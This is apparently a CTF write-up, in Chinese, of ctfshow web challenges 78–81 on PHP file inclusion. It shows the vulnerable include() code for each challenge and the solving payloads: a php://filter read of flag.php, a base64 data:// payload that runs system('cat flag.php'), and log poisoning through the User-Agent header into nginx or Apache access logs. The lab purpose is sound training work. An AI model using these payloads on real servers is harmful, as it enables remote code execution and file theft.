ctfshow(web入門):php檔案包含
web78
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 10:52:43 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 10:54:20 # @email: [email protected] # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
直接讀:
?file=php://filter/read=convert.base64-encode/resource=flag.php
web79
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:12:38 # @email: [email protected] # @link: https://ctfer.com */ if(isset($_GET['file'])){$file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
過濾了php,考慮用base64編碼繞過
playload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:26:29 # @email: [email protected] # @link: https://ctfer.com*/ if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
該題過濾了php和data,不能繞過,所以需要日誌檔案包含,偽造UA寫入php程式碼
方法一:日誌檔案包含
Linux的nginx日誌檔案路徑是/var/log/nginx/access.log,要在用檔案包含漏洞讀取日誌檔案的同時,修改ua頭為我們想要執行的命令(burp中go要點兩次才能執行命令,第一次將程式碼寫入日誌,第二次執行程式碼
且操作一定不能出問題,如果報錯就要銷燬容器從頭再來
因為php語法錯誤後不再解釋執行後面程式碼,語法錯誤後,後面不管語法對不對都不執行了。我們包含了日誌檔案,如果日誌檔案中我們插入了錯誤的php程式碼,那麼我們再次執行對的程式碼時會先執行那個錯誤的php程式碼,因為報錯,所以後面正確的就不會執行了。
原文連結:https://blog.csdn.net/qq_46918279/article/details/120106832
方法二:php大小寫繞過
日誌檔案記錄了伺服器收到的每一次請求的
IP、訪問時間、URL、User-Agent,這4項中的前兩項的值都是我們無法控制的,我們只能在自己可以控制的欄位上做手腳,其中URL欄位由於URL編碼的存在,空格等一些符號會自動進行url編碼,存到日誌當中時,不是一個正確的php語句,無法成功執行,而User-Agent則不會被進行任何二次處理,我們發什麼內容,伺服器就將其原封不動的寫入日誌。
訪問日誌的位置和檔名在不同的系統上會有所差異
apache一般是/var/log/apache/access.log
apache2一般是/var/log/apache2/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
web81
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 15:51:31 # @email: [email protected] # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
過濾了php,data和:
只能使用上一題方法一日誌檔案包含